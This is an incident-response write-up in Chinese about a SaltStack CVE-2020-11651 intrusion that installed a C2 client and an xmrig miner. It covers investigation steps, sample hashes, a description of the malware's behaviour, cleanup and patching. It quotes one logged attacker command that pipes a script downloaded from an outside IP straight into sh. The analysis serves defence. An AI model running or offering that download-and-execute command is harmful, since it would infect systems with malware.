SaltStack漏洞導致的挖礦排查思路

描述

SaltStack是一套C/S架構的運維工具,服務埠默認為4505/4506,兩個埠如果對外網開放危害非常大,黑客利用SaltStack的遠程命令執行漏洞CVE-2020-11651可以直接繞過Salt-Master的認證機制,調用相關函數向Salt-Minion下髮指令執行系統命令,最終導致挖礦。

現象

受害Salt-Minion機器上存在挖礦進程salt-minions

tmp目錄下存在可疑二進位文件:

  • salt-store
  • salt-minions

排查

  1. 確定所有salt-master機器列表;
  2. 查看當天salt-master的日誌文件/var/log/salt/minion,是否存在可疑命令執行,篩選cmdmod
  3. 找到可疑的命令執行內容:
(curl -s 217.12.210.192/sa.sh||wget -q -O- 217.12.210.192/sa.sh)|sh
  1. 確認SaltStack版本,是否存在漏洞CVE-2020-11651

樣本分析

共三個樣本:

文件名 MD5
sa.sh 204780df7dd946401d6e545a130689fb
salt-store 8ec3385e20d6d9a88bc95831783beaeb
salt-minions a28ded80d7ab5c69d6ccde4602eef861

sa.sh

這是黑客原始下載執行的腳本文件,salt-store從這裡下載下載的。

該腳本執行後首先進行一些系統設置:關閉防火牆、設置ulimit、關閉防火牆、關閉watchdog告警,並且將系統syslog日誌刪除:

然後檢測伺服器上是否安裝安騎士和雲鏡服務,有則將進程停止並下載對應的卸載腳本進行卸載操作:

之後通過netstat篩選伺服器開啟的埠和連接,將對應進程全部停止:

然後通過pspkillpgrepkillall篩選進程名和參數,將其對應的進程殺掉,並且還會清理cpu資源佔用超過10%的進程,保證有更多的硬體資源可以利用:


之後會清理/tmp/etc/下其他挖礦進程的二進位文件:

該腳本還會清理docker運行的挖礦程式:

腳本最後會從遠程下載惡意二進位文件salt-store到/tmp/var/tmp下:

download2函數中會從bitbucket下載惡意二進位文件,如果失敗會調用download3函數從217.12.210.192下載:

下載之後,將包含以下欄位的計劃任務刪除,這一步可以將其他挖礦和一些HIDS服務的守護任務刪掉:

salt-store

該文件是C2客戶端,從控制端接收指令執行。

運行後該程式會釋放礦機文件salt-minions/tmp/下:

salt-store運行期間會和以下url進行http交互:

對該文件靜態分析後,發現該程式具有如下功能,包括運行礦機、執行遠端指令、埠掃描等:

從樣本分析結果看,可以判定這是一個命令控制系統(C2)的客戶端,程式運行之後主機會在遠端上線,黑客可以登錄遠端給客戶機下髮指令啟動挖礦程式。

salt-minions

salt-store運行時釋放。

該文件有明顯的xmrig特徵:

所以該文件是一個xmrig的礦機。

清理恢復

清理步驟

  1. 停止惡意進程:kill -9 `pidof salt-store` && kill -9 `pidof salt-minions`
  2. 刪除惡意文件:rm -rf /tmp/salt-* /var/tmp/salt-*

整改恢復

  1. 升級SaltStack到最新版本,修補CVE-2020-11651漏洞,升級前建議做好快照備份措施,安全版本下載地址參考://repo.saltstack.com
  2. 設置SaltStack為自動更新,及時獲取相應修補程式;
  3. Salt Master默認監聽埠(默認45054506)設置為禁止對公網開放,或僅對可信對象開放,避免被黑客利用;

相關鏈接